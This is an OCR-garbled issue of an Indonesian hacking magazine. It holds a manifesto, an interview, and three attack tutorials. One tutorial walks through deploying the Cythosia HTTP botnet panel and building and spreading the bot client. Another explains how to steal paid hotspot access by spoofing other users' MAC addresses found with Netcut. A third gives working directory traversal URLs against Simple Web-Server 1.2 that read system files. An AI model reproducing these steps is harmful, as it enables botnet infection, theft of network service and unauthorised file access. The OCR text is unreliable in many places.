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Redaksi X-CODE Magazine

Apa itu Majalah X-Code :
e X-Code magazine adalah majalah hacking dan security bahasa Indonesia dengan
penggunaan media murni PDF.

Latar belakang X-Code Magazine :
e Kebutuhan akan informasi, artikel, hacking dan tutor semakin banyak sehingga
Komunitas memutuskan untuk merilis sebuah magazine untuk komunitas IT di Indonesia.

Tujuan :
e Memberikan / sharing / berbagi artikel untuk perkembangan ilmu komputer. hacking dan
security di Indonesia.

Misi :
e Menyebarkan ilmu-ilmu komputer, hacking dan security untuk tujuan positif.

Hak cipta / Lisensi :

Seluruh materi X-Code Magazine dapat didownload, dibaca, dimodifikasi serta disebarkan
secara bebas untuk tujuan bukan komersial

(nonprofit), dengan syarat tidak menghapus atau merubah atribut penulis. Hak cipta di
tangan penulis dan X-Code Magazine dengan mengikuti licensi Creative Commons.
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Kurniawan
vk family code@yahoo.com
(Yogyakarta).

Danang
Neos-01 (YM : danang_heriyadi)
(Yogyakarta).

ferdianelli@yahoo.com
(Pontianak).
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Manisfesto Hacker X-code

Lebih dari 7 tahun umur Komunitas Yogyafree, perjalanan komunitas
yang begitu panjang memberikan refleksi untuk menulis tulisan ini. Di
awal tahun 2012 ini X-code Magazine No 19 dirilis.

Terlepas dari aktifitas di dunia maya, sedikit kilas balik pada sekitar
tahun 2006 yaitu tahun dimana YF memulai event-event pertama di
dunia nyata, tahun 2004 dan 2005 adalah semua hampir bergerak di
underground. Warnet Orb* tnet adalah tempat awa mulanya YF muncul
lebih eksis di dunianyata.

Demo Hacking Yogyafree | di adakan di tahun 2006 merupakan awal
event pertama sharing di dunia nyata. Sgak pertemuan-pertemuan
pertama dan seterusnya saya pribadi mulai terlibat lebih aktif dengan
berbagai kegiatan komunitas didunia nyata, YF terus memberikan
kontribusi lebih aktif selain di dunia maya. Dari semua itu jika saya
menuliskan apa sgja kegiatan X-code dari tahun 2006 hingga 2011 di
dunianyata bisa panjang sekali.

Di tahun 2011 dengan cara pandang baru, manifesto baru, media-media
online baru dan sebagainya telah membuat X-code adalah komunitas
sebagal yang lebih luar biasa, jika saya boleh mengatakan, tahun 2011
adalah tahun dimana x-code berkembang paling pesat di dunia maya,
dibandingkan tahun-tahun sebelumnya.



M anifesto Hacker — X-code

Kam adalah komunitas hacker yang berintelektual, ber budaya dan
beradab yang membaktikan diri untuk ilmu pengetahuan

Kam adalah kebebasan yang kalian anggap traumeati s dan mencemaskan,
kami adalah keajai ban yang begitu unik dan mengguncang

Kalian dengan aturan tidak beradab, kalian merasa tidak bisa hidup
dengan kebebasan, tapi kalian tidak mungkin hidup tanpa kebebasan

... Kami adalah kebebasan itu sendiri
- X-code Manifesto 23/12/2011
Salam Perjuangan

Kurniawan — yk family code@yahoo.com
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Tutoria HTTP Botnet <Untuk Pemula>

Seperti kitatau Botnet adalah aplikasi / robot / zombie yang di setting
untuk berjalan automatis dalam suatu jaringan, masing-masing komputer
yang tergabung dalam jaringan botnet menjalankan perintah atau instruksi
yang diberikan oleh penggerak botnet (bot herder atau bot master) yang
dilakukan secara remote.Atau dalam bahasa yang lebih sederhana, jika
komputer anda terinfeksi botnet, maka saat komputer anda terhubung ke
jaringan, komputer anda akan menjalankan instruksi yang diberikan oleh
bot master yang bisa digunakan untuk keperluan DDOS, Logging,
Recover, dsb.

Pada kesempatan ini saya akan menTutorialkan gimana cara setting
dengan Cythosia HTTP Botnet yang di buat oleh “post mart3m™.

>
rff::}

(¢ J) ythosia Botnet

N Control Panal

Apa yang diperlukan :

1. Cythosia HTTP Botnet, Download di 4shared saya di link
http://www.4shared.com/file/GTVnsTuh/Cythisia_Botnet.html

2. Web Hosting, Hosting Gratisan (http://azok.org/), Hosting
berbayar (http://www.ccihosting.com/)

3. Domain bisa di dapat disini (http://azok.org/)

4. http://download.microsoft.com/download/9/5/A/95A9616B-
7A37-4AF6-BC36-
D6EA96C8DAAE/dotNetFx40_Full_x86_x64.exe

5. Windows Installer 3.1 untuk .Net Framework 4
(http://www.microsoft.com/downloads/details.aspx?familyid=8
89482fc-5f56-4a38-b838-de776fd4138c&displaylang=en)



http://www.4shared.com/file/GTVnsTuh/Cythisia_Botnet.html
http://azok.org/
http://www.ccihosting.com/
http://azok.org/
http://dow
http://www.microsoft.com/downloads/details.aspx?familyid=8

System requirements

Windows XP SP3

Windows Server 2003 SP2

Windows Vista SP1 or later

Windows Server 2008 (not supported on Server Core Role)
Windows 7

Windows Server 2008 R2 (not supported on Server Core Role)
Windows 7 SP1

6. Windows Server 2008 R2 SP1

AWDN P

o

Ok ! Langsung gja..

Karnaini untuk pemulakita menggunakan http://azok.org untuk
mendaftarkan domain dan mendaftar hosting.

Seperti tampilan ini..

r
signup for Web Hosting Senvices

................

Setelah mendaftar domain dan hosting di azok.org akan mendapatkan
pesan seperti ini


http://azok.org

Login

Setelahsampaisini periksae-mail untuk mengaktifkan account kamu.
kamu akan mendapatkan  informasi hosting dan domain, kemudian
login ke account Anda. Kamu akan melihat tampilan seperti di bawah ini
untuk mengatur domain dan Cpanel

,
@ Hosting _ ' _. Chanse language oose |

HEIp’J:J-Bsk l Referrals

My Prafile Control Pang|

Login Details

Email digitalcat@programmer.net

Passwird [T

\Chanas Rasswerd,

Contact 'I'.hfn'rrlnat'_i.llj_'n

Ernail digitaleat@programmer.net
Hame “digital cat
Address
Status Active
Eidit:Prafile.

2011 All rights reserved

Selanjutnya seperti tampilan di atas klik “Control Panel” untuk
membuat “account” dan membuat “subdomain” apa saja namanya yang
kamu mau ketikan / buat.



Tampilannya seperti ini ...

Create a New MyS0L Database And Database User

[ySolL database UBSA9EA7I0.

RARFE [ jicaba
| Ml et

MySGL Usernarne: uf:S_?_%CJ?SD__ -
| cat |

Password! | | GenesataLassword |

Password again:

Create

Setelah kamu membuat account, selanjutnyaklik Cpanel.. Tampilannya
seperti ini

Domains
n g Ll L
Subdormains Parked Dormmains Addon Domains Redirects
Yehbsite
. T !
) Wi, B
Import Website Import Database Wwebsite Builder Auto-Installer
i x|
Statistics Latest Wisitars Error Pages
Files
S .| A
FTP n?cess FTP Accounts File Manager 1 File Manager 2
Backups
Advanced
\-\I | = & —
ALy
MySQL Databases phpMyadmin Cron Jobs 53H Console

Pilih dan Klik “MySQL Database” untuk membuat database.. Ketik / isi
nama database name,username dan password. Jangan lupa gunakan
notepad untuk mencatat nama database,username dan password, supaya
tidak lupa..

Berikut adalah gambar dari MySQL database Anda akan terlihat seperti ini



Create a MNews MySQL Database And Database User

My =L database (W=kats]

SEATIN.

nare: Ea
MYSOL usernarne: LESS9657 I

cat
Passwaord:

GenptateRasssmord |

Password again:

l Creake

Setelah kamu membuat database MySQL ,kembali lagi ke Cpanel.. dan
klik phpmyadmin. Tampilannya seperti ini

9 Advanced

MySQL Databases
phoMyAdmin

Cron Johs

SSH Console

DNS Zone Editor

PHP Infa

Setelah di klik phpmyadmin, kamu akan melihat tampilan phpmyadmin
seperti tampilan di bawah ini,

w.m_,' i Ay i localhost p & u639969730_ujicaba

g5 Stucture SOL CSearch @0uery FiExpont Elmport 880perations

dEEHD

rFile to import
u659969730_ujicoba (U] | Location ofthe text fls [ Chogse File | durmp.syf (i 128008
Mo tablas foundin Character set of the file: | tfg |
database: [mparted file compression will be automatically detected from: Mone, gzin, bzip2, zip
rPartial impart

|arge files, however it can break transactions.
Murber of records (queries) to skip from stat [

Allo the interruption of an impart in case the script detects it is close to the PHP timeaut limit. This might be good way to impoit

rFermat of imported file
(O L8y

¢y Open Documant Spreadsheet feliis

(j Excel 97-2003 ¥L3 Workbaok
oy Excel 2007 ¥L5K Workbiook Do not uze AUTO_ [NCREMENT for zera values
-

) ML

& 5aL S0L compatibility mode HCINE »]




Lalu selanjutnya klik tab “impor” , lalu klik “Choose File” lalu cari dan
upload “dump.sql” yang berada di folder “Cythisia Botnet\Webpanel”
Seterusnya klik tombol “Go” setelah itu kamu akan mendapat konfirmasi
kalo file berhasil di Upload..

Seterusnya kembali lagi ke Cpanel dan klik “File Manager 1” Seperti
tampilan ini

 FEiles
FTF Access
FTP Accounts
File Manager 1
File Manager 2

Backups

Jangan bingung kalo berada di “File Manager”, langsung aja klik folder
"public_html." Seperti tampilan ini

et [tp

a wel Gaged FTP cliont

: el
= Languag_e:;.Eng“Sh '\il
! | SKif: gy ]
Directary Trae: root f
. .|Java Uploadl ‘Flash Up_\oad‘ |Advanced‘ Transform selected antries: .. Chmo
oo o] ralee e
All Name Type gsize Owner Group Perms ModTime  Actions
B u.
|:| E public bl Divectary 4096 UE539E9TI0 ug52969730 [ e o Mow 2 0851
[0 | | Do NOT UBLOAD HEREDG NGT_UPLGAD HERE File i 1653969730 UES3369730 Pureres How 2 08151 View Edit Open
Directorigs: 1
Files: 1 /0B

Syrnlinks: 0
Unrecognized FTP output: 0

Help Guide | Forums| License

Pawered by net2fep - a web based FTP client
Add to: Delicio.us | Digg | Reddit

Setelah berada di folder "public_html." langsung aja klik tombol “Upload”
terus browse / cari file zip “Webpanel.zip” berada di folder “Cythisia
Botnet”..



Pastikan kamu memilih upload di tombol bagian kanan / Archives
(zip,tar,tgz,gz) Selanjutnyaklik tombol / tampilan tanda centang warna
hijau..

Seperti tampilan ini

et [tp

a weol Gaged FIP cliont

Upload files and archives

Upload to directory; :Ipublic_html

Files Archives (zip, tar, tgz, gz}
Files entered here will be transferred to the FTP server. Archives entered here will be decormpressed; and the files inside will be transferre
to'the FTP server.

Mo file chosen Yebpanel.zip

Restrictions:

+ The maximum size of one file is restricted by netéftp to 9765.625 kB and by PHP to 8M

« The maxirum execution time is 30 seconds

o The FTP transfer mode (ASCII or BINARY) will be automatically determined, based on the filename extension
o If the destination file already exists, it will be overwritten

Setelah di upload.. kembalikan ke folder public_html untuk melihat dan
memeriksafile/folder Webpanel , apa berhasil di upload.. Selanjutnyaklik
folder Webpanel dan kasih tanda centang pada kotak di sebelah folder
sebelah kiri webpanel. Lalu klik tombol “Chmod” pada pojok kanan...

Selanjutnya centang semua kotak sehingga nilai chmod 777.. Jika sudah
klik tanda centang hijau

Setelah semuafile di upload.. Sekarang kita lanjutkan ke pengaturan
MySQL.

Masih di File Manager sekarang masuk ke folder / file “/ Webpanel /
admin / inc / config.php” lalu klik edit..



net . [tp catbot.azok.org

; o = & Mm
awel Gaged FTP cliont & 96
o Language:_:EninSh _I)_r:
| public_himabpaneliadmining ‘ BKin gy Tl
Ditactory Tree: root /public biml /webpansl /admin fine )
e dif ‘Newfi\e[. Uplaad ‘Java UploadHFIash Upload||Ad\ranced| Transform selected entries) ' Chmad
Search
All Name Type ‘Size  Owner Group Perms Mod Time Actions
B ouw.
[] ®  confin.shp PHE Seript 325 UBEIBEFTI0 LE53SRETI0 s How 203,36 e Elii Open

|:| @ funcs.php PHP script a3 uB599697 30 UES99697 30 rwspnpes Moy 20936 g Edit  Open
Edit the source code of file conl

Directaries: 0

Filas: 2 /408 B

Symlinks: 0

Unrecognized FTP output; 0

Help Guide | Forums| License

Selanjutnya di file config.php edit Mysql server,user,password dan
nama database

Default mysql server adalah "mysql.azok.org"

:{?HHR
Ff Config.php

A4 Waktu

JF MySoL

fmysgl server = "mysgl.azok.org": //My3QL Host

frysgl user = "MySOL User™:

fwysgl pw = "Password disini':

frysgl db = "My3QL Database™:

flink = mysqgl connect ($mysgl server, $mysgl user, $mysgl pw);
my=sql select db(fmysgl db, §link):

Setelah itu laku coba deh.. dengan ke link
http://namawebkamu.azok.org/Webpanel/index.php

Pada saat visit ke link tersebut kamu akan di minta password..

default passswordnya adalah “admin” untuk merubah default
passsword .. Bisa di edit di folder - file “Webpane\index.php”

Jika sudah sampai sini..

Selamat ya kamu sudah berhasil membangun bot server!!


http://namawebkamu.azok.org/Webpanel/index.php

19: 0'Bots | Busy Bats

Selanjutnya bagian terakhirnya kita membuat dan mengatur Bot Client
dengan mengklik file pada folder / direktori “Cythisia Botnet” pada file
“CythBuilder.exe”

Jika sudah di buat selanjutnya ya di sebarin dong... Seperti pada
tampilan ini

neseller Eulder _x]]

|]:ntp;una:uambkamnan:vkmgf‘u\?ebpaml;

|;1

|random shit 4didsafdsfadsaiddst |

| nataa & Terseral namanya Apa

| .
| password | [<=Terserah passwordnya apa
|app

| winlogon. exe. exe

\'windows Defender

|na_'|:na % JErseralt nanrnya apd,
|

-'ll;u'.’.’.'l (i R crtgffate I i lad]
Build ! PRI

Demikian tutorial yang dapat saya sampaikan semoga bermanfaat..



Kunjungi Web Site : http://catbot.azok.org/

Login password : digitalcatbotserver
untuk melihat tampilannya..
Penulis bertempat tinggal di Bandar Lampung,Lampung. Bisa di

hubungi di email digitalcat@programmer.net atau bisa chat dengan
saya di Mig33 dengan Nick : “catkucing”..

Thanks To X-Code And PC33.org

Oleh Digital Cat - digitalcat@progammer.net
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> \Wawancar a dengan bl4nkcOde

Salah satu Staff X-code yaitu neOS-01 berkesempatan melakukan wawancara dengan
seorang yang terjun di bidang hacking, sosok yang masih sangat muda yaitu Bl4nkcOde,.

NeOS-01 : Pertama kenal komputer kapan tuhge

BldnkcOde : kiIs 5 sd , kenal internet kls 1 smp

NeOS-01 : Wah hebat dong. Itu udah kenal internet sekalian2?

BldnkcOde : belum >,< kenal internet cuma fb an

hahaha :))

NeOS-01 : kalo kenal internet kapan tuh2?2

Bl4dnkcOde : kiIs 1 smp, skrng kls 2 smp

NeOS-01 : Berarti baru setahun dong [:-)]

BldnkcOde : kenal internet cuma maen facebook , trz semester 2 bikin
wap mobile , abis itu kelas 2 smp bikin blog yang drakcyber.tk

ia wkwkw =)) <-- baru kenal internet

NeOsS-01 : Wah belum lama kenal infernet udah bikin wap mobile, Kalo
hacking kenal dari mana<¢2hehe

BldnkcOde : dulu sih coba coba tau hacking dari http://binushacker.net
sekitar semester 1 kls 2 smp

dlu sih pengen nya cuma tau cara " hack acc facebook " tapi skarang
udah engak wkawka , maklum lah anak2 yg belum tau hacking itu kaya
gimana, ya tau nya hacking itu cuma hack " acc facebook "

NeOS$-01 : Wah gitu ya.... [:-)] Kalo hacking, pendapat kamu tentang hall
inie2e Perusak atau kah punya pendapat laine?

BldnkcOde : smua itu tergantung orang nya ya [A_A] kalo aku sih jarang?2
merusak , hacking kan bertujuan untuk meningkatkan keamanan sistem
yang ada , jadi hacking itu ngak merusak.

NeOS-01 : Sependapat dong, hehe.... berarti cepet juga tuh belajarnya 1
tahun kenal internet udah sampe kedunia hacking.

Pernah dapet kabar kamu salah satu staff di indeves yae?

BldnkcOde : :)) kaya nyasihiya :))

NeOS-01 : Hihi, jadi resep untuk orang-orang yang ingin menjadi hacker tu
apa qja sing?2 biar cepet tuh belajarnya [:-)]

Bl4dnkcOde : kalo aku sih

1. cari banyak tutor

2. cari ebook

3.harus rajin nanya , tapi saran saya kalo mau nanya ke hacker yg di
angap lebih bisa itu harus kenalan dulu , trz ajak ngobral , jgn langsung
nanya , kalo langsung nanya pasti ngak akan di jawab

Berdasarkan dari wawancara salah satu staff X-code yaitu neOS-01 atau mas danang
kepada sosok yang sangat muda ini dapat dijadikan suatu gambaran bagaimana cara agar


http://binushacker.net

pertanyaan-pertanyaan anda degpat dijawab lebih jauh jika ingin belgar dari sosok hacker
yang dikenal dianggap lebih bisa.

Ayo para hacker muda, tetap semangat!



Cut it off VS Protect me, Satu cerita lagi tentang
Dua Petarung: Netcut dan NetcutDefender

INTRO>>>
Hey, pernah dengar lagu ini gak? BONDAN PRAKOSO feat FADE2BLACK - Plese dong ah.
Nah sirevi, teman ane pernah nyayin nilagu, tapilirknya beda, lets cek it out>>

Suatu waktu ku berjalan tak tenfu

Mengitarn sudut kota mulai dari warung jambu
Keluar rumah ga pamit mau ke mana

Bawa laptop apple mah udah biasa

emang sih niatnya mau internetan

donlot lagu donlot film dan main gim online
Eh pas di tengah jalan gw lupa sesuatu

Gw lupa kalo voucher hotspot gw abis

Sial gimana dong?

Ya udah gw telfon teman gw

minta username dan password yang dia punya

Ah sial lagi, hp nya gak aktif-aktif

Gw lari ke warnet terburu-buru

Waktu gw periksa dompet, aung habis tinggal Ka Te Pe
Ya gak jadi deeh

Hari ini gw kagak oke (please dong ah)

Niat infernetan gw jadi begini (please dong ah)
Sial pusing 7 keliling (please dong ah)

please dong ah 3x

Liat deh lirik lagunya, kasian bgt ya sirevi, mau ol tapi kagak bias krna ga ada duit buat
belivoucher internet. Tenang vi, lets solving it...

Hoy teman-teman semua, kembali ane hadir di sini, mencoba menulis tentang sebuah
teknk yang bisa disebut sebagai “pengibulan” pada sebuah wifi hotspot. Teknik ini
membuat anda bisa melewati jendela login ber-password yang biasanya keluar saat
anda ingin internetan melalui sebuah hotspot berbayar. Tidak seperti tutorial terdahulu
yang ane kirim ke xcode, di tutorial kali ini ane tidak mau cerita panjang lebar tentang
pengaloman ane menggunakan teknik ini, kita langsung ke target, yo yoooo..

Tools yang harus anda sediokan adalah :
1. Technetium MAC Address Changer v
2. Netcut dan NetcutDefender
3. WinampHagu2 kesukaan biar gak bosan. Recommended song: Afterlife —
Avenged Sevenfold, xixixi..

First ane akan cerita sedikit tentang Tool yang akan kita gunakan kali ini, yaitu mbak
Netcut dan Mas NetcutDefender, haha kok mbak sihe?

Netcut itu adalah tool yang dapat digunakan untuk memotong akses internet pada WIFI
hotspot, sebuah WIFI dari client ke server atau sebaliknya. Program ini pada umumnya



digunakan oleh pengguna jaringan yang ingin mengambil bandwith untuk dipakai
sendiri tanpa mau dishare kepada client yang lain. Kalau kita mau menggunakan kata
lain, pengguna netcut ini bisa disebut seorang pengintip/penipu. betul gak ya22

Selain itu netcut juga berguna dalam memanipulasi jatah bandwith yang disediakan
bagi clients. llustrasinya seperti ini. Coba anda bayangkan sebuah pipa air PDAM yang
masuk ke rumah-rumah. Air bersal dari sebuah pipa utama sebelum bercabang dan
masuk ke rumah-rumah. Misalnya ada 3 rumah: A, B dan C. jka salah satu rumah ingin
mendapatkan aliran air yang lebih cepat dan banyak, maka ada dua cara yang dapat
dilakukan:

1. Menaikkan flow air pada pipa utama

2. Menutup salah satu atau semua jalur air yang menuju rumah lain

Pipautama = bandwith dari access point
A, B, C = Client.

Jadi, kurang lebih prinsip yang dipakai pada netcut seperti cara no.2, karena bandwith
yang diberikan dari source biasanya tetap. Atau gini aja, masi ingat pelajaran fisika SMA,
tentang Hukum kirchoff untuk arus listrik bercabang??2 <padahal ane juga gak ingat tuh,
untung ada google>, Kirchoff bersabda:

“jumlah kuat arus yang masuk pada titik percabangan sama dengan jumlah kuat arus
yang keluar dari titik percabangan tersebut”.

Pernyataan ini dikenal sebagai Hukum | Kirchoff.
Secara matetatis dapat ditulis :

Imasuk = lkeluar
Secara skematik rangkaian bercabang terlihat sperti di bawah ini:

o

/ Ikeluar
/

> d fitik percabangan

B |
s\ nnmn

‘\‘Ikeluar &

e

-

In Im In

Gimana ngerti atau kagak?. Tanpa penjelasan panjang lebar, Use ur illusion untuk
memahami kedua ilustrasi diatas, ok ok ok.

Ok kita mulai ajyah A_A

Pertama-tama, buka browser, tapi sebelumnya pastkan dulu kalau wifi card anda
lengkap dengan driver/software penunjongnya udah ON. Coba lihat ke taskbar sudut



kanan bawah, ok?22 Jka udah, siahkan buka mozila/google crome/IE/Opera/apa aj dh
yang biasa disebut orang sebagai Browser. Setelah browser terbuka, maka secara
default akan keluar halaman login ke hotspot yang meminta anda memasukkan
UserName dan Password. Nah, cukup sampai disini aja, kita kabuuurrmr..., biarkan
browser terbuka sepertiitu, kabuuuuuurmr, ga usah isi apa-apa, biarin aja.

Sekarang aktifkan Netcut

o

| OMJOFF | IP HostMarme | Physical Address Protected by MNetcut Deferder

Coba perhatkan, dalam hitungan detk nefcut akan mengeluarkan list computer-
komputer <termasuk computer anda> yang terhubung ke hotspot. Disana akan terdihat
jelas IP dan MAC Address semua computer tersebut. Ane sengaja menutupi IP dan MAC
Address karna alasan. takut dikejar interpol seperti yang banyak terjadi pada poliTikus-
poliTikus di negeri kita, hahahawcwcw..

OK bro, Sekarang kita beraksi, anda tinggal pilih IP yang akan anda pakai untuk login,
karena ane yakin salah satu dari mereka pasti sedang memanfaatkan jasa hotspot
untuk online. Pilih sebuah IP lalu lihat MAC Addressnya, aktifkan Technitium MAC Address
Changer, lalu:

1. Tekan tombol Create/Edit

2. IsiPreset Name dengan nama terserah, misalnya “"KORBAN BARU”

3. Centang parameter : MAC Address, DNS Server, HTTP Proxy, Enable DHCP
4. Aktifkan radio button “Use” dan iskan MAC Address korban



ﬁ Technitium MAC Address Changer va - by Shreyas fare

File  Cptions  Donate  Help

M etwork. Connections Changed | MAC Address Lik, m

Wireless Metwork Connection 3 res 001 73 Z-& 0 [Jp, Operational 11 Mbpz

Create A Edit Configuration Presst

Prezet Parameaters 1 _ — _ IP &ddiesz [1] |.Sul:|nst'.h{]ask |
‘When a presetis applied to a netwark. connection onbthe included | ESE. 255 255 5551
pararmeters. are applied tothe connection: [ [ 1
Prezet Hame . . \EORBAN BARL j g
Parameters To Be Included :
W MALC Address £ Llse:l.:'f;andl:urn MAC Address - _
© Use Diiginal MAT Address Gateway (1] | Metiic
.r_ # il Usa m 3|j
| oo 00 =14 = 22 =[9C = 32 = 78
W DMNS Server .
Address [blank=no prody]  Port
¥ HTTP Prosy | il | | DNS Server (3] | i
¥ Ernable DHCP o | %
Save Cloge | =
W Wi

| = - | copdd sy << Bemove s | F

Configuration Presets

[5et DHEP ] A | oo | Delele |
5. Save
6. Lalu caripreset name pada Tab Configuration Prestes, pilih “KORBAN BARU” dan
Apply

Gimana ndan, caranya ribet banget ya22

Nih ane kasih jurus lain: Prosedur penggantiaon MAC Address di atas sebenarnya bias
diperpendek. Caranya dengan menyorot salah satu MAC Address korban yang ada di
list netcut, kemudian menekan tombol Change MAC, selesai dh > fuh, gambarnya di
bawah:

Jika kalian mau mengembalkan MAC Address asli, cukup tekan tombol reset to factory
default, kalau cara ini mau diakukan pada Technetium MAC Address Changer,
caranya sbb:

1. klick tombol Change MAC Ialu klick Original
MACss



013021
OHCF: . . .Enabled Leaze Obtained . 11552007 2:48:57 Ak 192162204
TCPAP . Enabled | Lease Expies. .. 11152011 3:48:37 &M 124.81.2131 ;|
Dizable Ehang?\M.ﬁ.E Digable DHCE | Releaze [P Renew [P | < Add Fr ¢ Remove >3 |
Configuration Presets Wy
|5t DHCP > bpply | Create/Edt|  Delete |
2. lalu klick Original MAC
W Automatically Restart Metworl: Connection To Apply Changes DMS Server [3] | -
W Make Mew MAC Address Persistant 1013021
- 192168204
| Original [\fIL%ﬂE | Cloze e = |
Disable | Disable DHCP | ReleasedP. | RenswlP | <o fddys | << Remove 53 |

Configuration Prezetz
|Set DHCP

| Create / Edit Delete |

| Apply

Gimana ngerti atau kagak?

Ok, dengan melakukan langkah-langkah diatas, berarti anda udah mengubah MAC
Address computer anda dan mengganfinya dengan MAC Addres korban. Atau
dengan kata lain network admin fidak akan mengetahui identitas asli anda, anda akan
dianggap sebagai orang yang punya MAC Address tadi. Sekarang anda pastikan
apakah korban lagi online atau tidak. Buka command prompt dengan cara menekan

CTRL+R, ketkkan CMD, Ilalu Ilakukan ping ke sebuah website, misalnya
www jasakom.com. Untuk lebih mudah, buka notepad, ketikkan script di bawah ini:
satrt cmd

cd../..

ping www jasakom.com —t

save di desktop dengan nama ping.bat

£ ) ‘E | ¥

s start

Klik dua kali ping.bat, hasinya akan seperti gambar di bawah ini:
1. Jika computer korban tidak online



www.jasakom.com
www.jasakom.com

2. Jkacom iu’rer korban Ioii online

Coba aja ganti-ganti MAC Address anda dengan MAC Address yang ada di list Netcut
sampai ketemu korban yang udah online.

Eh, satu hal yang ga boleh dikerjakan disini yaitu:

Saat anda telah berhasil jangan sekali-kali memutuskankan akses korban dengan
fasilitas cut off yang ada pada netcut, karena hal tersebut akan membuat korban di kick
off, kaciaaan. Nikmati aja internetan gratisnya, jangan kurang ajar, okay. Selamat
mencoba

Udah jom 12 siang nih, ane udah janji mau kirim tutorial ini ke email teman ane namanya
Mas agung, si mas katanya mau nyobain juga, tool nya udah di donlot tapi belum
berhasi. Makanya dari kemaren siang ane di serang dengan SMS-SMS request futorial ini
dari dia. dari kemaren belum sempat ol, karna ga ada calon “korban” yg ol, wkwkwk

Astaga, ane lupa lagi, penjelasan tentang NetcutDefender belum ada kan. Ok, kita
lanjutin lagi yah, mas agung sabar mas ya, pis mas, pis. Jadi begini, NetcutDefender
sebenarnya adalah “lawan jenis” dari netcut, makanya tadi ane bilang mbak netcut n
mas netcutdefender.

Dari namanya agja mungkin sodara-sodara udah tau kan fungsinya apa, tool ini
berfungsi mempertahankan diri dari serangan netcut. Dengan netcutdefender anada
akan terbebas dari>> ...... tfunggu, mas agungnya sms lagi nih, “dah dikiim belum?2”,
mak, ane bs kna hajar nih. Ok next >> client lain yang punya netcut dan mencoba
meng-kick anda dari hotspot. Hebatnya lagi, netcutdefender memungkinkan anda
melihat siapa aja yang berusaha melokukan kick pada anda, coba aktifkan
netcutdefender, kalo belum ada donlot gja.

Nah, keliatan kan fitur apa aja yang ada di NetcutDefender. Piih adapter yang anda
pakai lalu klick tombol protect maka NetcutDefender akan memproteksi anda dari



serangan netcut. Dan coba klick fombol who cut me, anda dapat melihat client yang
mencoba meng-cut off anda dari hotspot.

Attacker List

Masih kosong, karena ga ada yang berani ng-kick ane, hehe, sombong dh..just joking
bro. oya, buat kalian yang pake windows7, cuba donlot netcut 3x.x. soalnya ane
pernah nginstall netcut 2.x.x pada laptop teman ber-OS win7, ga bisa tuh.

Udah dulu ya, gak enak sama ams agung nih. ceritanya juga udah habis, mohon maaf
kalo ada kata2 yang gak berkenan dan nyasar bemil-mil jouhnya dari topic ya,

Makasih buat Apa-Amak, perjuangan dan kasih sayang-mu lah yang membuat aku
berani bercita-cita.

Adik2, kakak?2 ku, kponakan2ku yg lyucyu?2, | love u alll

Buat ino (alm), aku tahu, akulah cucumu yang paling kau sayangi

Teruntuk gadisku, Hoesang yang lagi ujian, ga ada yang boleh nyerah sang..!!!

Oentoe Band FBSS-UNP, kapan ya kita manggung lagie2?

4 All guys of CeroBong Asap 525 Band (t.me, bg yan-wulan-ade-kampret--b'dul-kitiang-
b indra-ria-reza-raisal-doni)

Pasukan PSU Gen-4 GoeNtAL, kawan2 di HIMANIKA FM, AmbOQOiyina padang, ELKA'03-
UNP, Sunkal F.CSangir-sangiuw

Bala tentara Mes 26K Blok QQ-RR, Teman2 di KI-01: Hadi Oxygen, pak rudi (my boss),
bang riko(pe-ka), rioko(kabaw), revi cuti, pak das (SKF), pak jul (d'smart sir), pak
hotman, mas agung, bg budi

Spesial buat keponakanku yang sangat kusayangi, Rahmat Farhand n Khansa

Maaf, jadikaya’ diskripsiy22 hehe

Kata Penutup..

“OK, semoga bemanfaat..trik ini mungkin biasa2 aza tapi jongan lihat kuantitasnya, bisa
jadi pembaca akan menemukan cara yang lebih dahsyat dalam hal lain yang
terinspirasi dari tulisan basi yang ane buat..setuju 22 "

@x/ Kasparov

Lahir di Sangir, Solok Selatan - Sumatera Barat, 22 April 1985
Lulusan Teknik Elektronika Teknologi Sistem Komputer
Universitas Negeri Padang

Facebook : r_ax/@rocketmail.com
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Melihat ig file dalam server dengan Directory
Traversd

Directory Traversal adalah serangan yang dapat mengakibatkan penyerang dapat
mengakses sebuah file komputer yang tidak dimaksudkan untuk dapat diakses. Serangan
ini memanfaatkan kurangnya keamanan.

Disini contohnya adalah pada Simple web-server 1.2 yang dimana dengan serangan
Directory Traversal maka kita dapat membacafile-file yang diluar root web.

Dibawah ini tampilan saat Simple Web-Server 1.2 berjalan di server.

& Sirniple weh-server (running EEEE

For debugaing and publishing HTML sites, Mok wisible
vwhen minimized and the first run with a parameter -h

Version 1.2
Copyright & Ivan Kurchenko, 2010-2011
wehseryidstorecals com

WAL SEOrecalc Corm

[##] Save query history

—— )

Disini penulis memasukkan url di bawah ini ke browser :
http://192.168.1.5/%5c../%5c../%5¢../%5c¢../%5C../%5C../%5C. ./%5C. ./%5C. ./ Y65C..
1%5c../1%5c¢../%5¢. ./%5c¢. ./%5c¢../%5¢../boot.ini

Hasilnya adalah

Eile Edit Wiew History Bookmarks Tools  Help

@ e (i L hetpef 102,388 L8 Pl bl Pl s Pl Pl ol e Pt

ﬂ Rt femees. Facebook, fi'l Most Wisited @) Getting Started |5 | Latest Headlines

@ ]Cl bt loader] timeout=30 default= »  Search |

ﬂ http://192.168.1.5...c../ %5c.. /hbook.ini

[boot loader]

timeout=30

default=mwulti{(0)disk(0)rdisk(0) partition (1) WINDOWS

[operating systems]

milti(0)diski0)rdisk(0)partition (1) WINDOWS="Microsoft Windows EP Professior


http://192.168.1.5/%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c..

Hasilnya adalah penulis mendapatkan isi file boot.ini

Sekarang penulis ingin melihat isi di windows\win.ini makayang penulis masukkan
adalah sebagal berikut

http://192.168.1.5/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../
%5C../%5C../%5C../%5C../%5C../%5C../%5Cwindows%5Cwin.ini

Hasilnya adalah

) Mozilla Firefox

File  Edit  “iew History Bookmarks Tools  Help

@ hd c # el -|j Ebpe 92 T6E S g st e s i

http: {fwov Facsbook . (] Most Wisited @' Getting Started | Latest Headlines

@ |Q book loader] timeout=30 default= - Search |

;_1'] http://192.168.1....windows%5Cwinini| =

; Tfor le-bhit app Support
[font=]

[extensions]

[ici extensions]
[Eilesz]

[Mail]

MAPI=1

CHMC=1
CMCDLLNAME=mapi.dll
CMCDLLNAMESZ=mapidiz.dll
MAPIZE=1
MAPIXWER=1.0.0.1
OLEMessaging=1

[MCI Extensions.BLE]
aif=MPEGVideo
aifc=NPEGVideo
aiff=MPEGVideo
asf=MPEGVideo
asx=MPEGVideo
au=MPEGVideo
mlv=MPEGVideo
m3iu=MPEGVideo
